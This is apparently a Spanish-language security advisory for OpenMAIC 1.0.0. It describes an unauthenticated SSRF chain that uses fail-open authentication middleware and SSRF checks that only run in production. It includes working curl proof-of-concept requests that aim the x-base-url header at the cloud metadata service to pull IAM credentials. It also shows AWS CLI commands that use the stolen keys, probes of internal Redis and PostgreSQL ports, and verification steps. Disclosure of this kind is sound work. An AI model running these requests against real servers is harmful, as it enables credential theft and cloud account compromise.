
OpenMAIC 1.0.0: SSRF saliente no autenticado al servicio de metadatos en la nube mediante middleware de fail-open y omisión de validación condicionada por el entorno
Verificado. Existe una cadena de explotación de dos tramos en el middleware de autenticación de OpenMAIC y en la capa de solicitudes salientes del proveedor que permite a un atacante remoto no autenticado hacer que el servidor de la aplicación emita solicitudes HTTP salientes arbitrarias, incluida la dirigida al Servicio de Metadatos de Instancia (IMDS) en la nube en 169.254.169.254, sin poseer credencial alguna.
Tramo 1: El middleware de Next.js Edge en middleware.ts implementa una postura fail-open cuando la variable de entorno ACCESS_CODE está ausente. En la configuración predeterminada de .env.example, ACCESS_CODE no está definida, lo que significa que las 70 rutas de API están globalmente sin autenticación y son accesibles por cualquier cliente externo.
Tramo 2: En cinco manejadores de rutas de API distintos, las URL base del proveedor proporcionadas por el cliente (mediante los parámetros de solicitud x-base-url o baseUrl) solo pasan por validateUrlForSSRF() cuando process.env.NODE_ENV === 'production'. En cualquier entorno development, staging, preview o no definido, la protección SSRF se omite por completo y la aplicación emite un fetch() saliente a la URL controlada por el atacante.
Encadenados: un atacante no autenticado proporciona x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ a cualquier endpoint de generación, y el servidor obtiene las credenciales del rol IAM de la nube y las devuelve en la respuesta. No se requiere cuenta previa, ni token, ni punto de apoyo local.
El middleware es la única puerta de autenticación para todas las rutas de API. Cuando ACCESS_CODE no está definida —el estado predeterminado según .env.example— toda solicitud a cualquier ruta pasa inmediatamente. No hay mecanismo de respaldo, no se emite advertencia alguna, no hay verificación de autenticación alternativa. El fail-open es incondicional y silencioso. Esto expone 70 endpoints de API, incluidas las rutas de generación, persistencia, proxy de medios, extracción y ejecución de IA, a cualquier llamador no autenticado.
La función validateUrlForSSRF en lib/server/ssrf-guard.ts ya maneja correctamente las excepciones específicas del entorno mediante ALLOW_LOCAL_NETWORKS. La puerta NODE_ENV en cada manejador de ruta es totalmente redundante como prestación para el modo de desarrollo, pero catastrófica como límite de seguridad: desactiva globalmente la validación SSRF en implementaciones de staging, preview, CI/CD y autoalojadas donde NODE_ENV no está establecida explícitamente en 'production'.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Respuesta esperada (paso directo de IMDS):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
Respuesta esperada:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| Fase | Paso | Efecto |
|---|---|---|
| 1. Ingress no autenticado | El cliente remoto envía una solicitud HTTP a /api/generate/image sin cookies ni tokens | middleware.ts evalúa !process.env.ACCESS_CODE e invoca NextResponse.next() |
| 2. Ingesta de encabezados | El atacante especifica la dirección interna objetivo en el encabezado: x-base-url: http://169.254.169.254/... | El manejador de ruta extrae clientBaseUrl de los encabezados de la solicitud |
| 3. Omisión de SSRF | El entorno del servidor tiene NODE_ENV !== 'production' (p. ej., staging o valor predeterminado del contenedor) | El manejador evalúa process.env.NODE_ENV === 'production' como false y omite validateUrlForSSRF() |
| 4. Sumidero de solicitudes salientes | El cliente del servicio se inicializa con la URL base proporcionada por el atacante y ejecuta la solicitud | El servidor realiza un fetch() saliente a http://169.254.169.254/ |
| 5. Exfiltración de metadatos | El servicio de metadatos de la instancia en la nube responde con metadatos o credenciales de seguridad IAM | El servidor incorpora el cuerpo de la respuesta HTTP en la carga útil de retorno de la API o en el mensaje de error |
| 6. Pivote en la nube | El atacante extrae credenciales de seguridad temporales de AWS/GCP/Azure | El atacante utiliza las credenciales de la nube externamente para acceder a recursos y almacenes de datos en la nube |
Condiciones previas:
ACCESS_CODE definida (configuración predeterminada).NODE_ENV no está estrictamente establecida en 'production' (p. ej., staging, dev, autoalojado o contenedor mal configurado).Para confirmar la accesibilidad y validar las defensas de seguridad sin desplegar cargas maliciosas:
process.env.ACCESS_CODE no está definida, middleware.ts devuelve NextResponse.next(). Enviar una solicitud HTTP sin encabezados de autenticación a cualquier endpoint protegido (p. ej., POST /api/generate/image) produce una respuesta a nivel de endpoint (p. ej., 400/401 por configuración del proveedor) en lugar de un rechazo 401 Access Code Required.NODE_ENV="staging" o NODE_ENV="development", inspeccionar si se llama a validateUrlForSSRF. Debido a if (clientBaseUrl && process.env.NODE_ENV === 'production'), la ejecución salta el bloque de validación e intenta la conexión de red a la URL base especificada.NODE_ENV='development' y proporcione una URL de bucle invertido http://127.0.0.1:9999 verifica si la solicitud se rechaza con INVALID_URL (403) o se permite continuar hacia el transporte de red. En el estado sin parchear, la solicitud intenta la conexión de socket; en el estado parcheado, se rechaza inmediatamente con HTTP 403.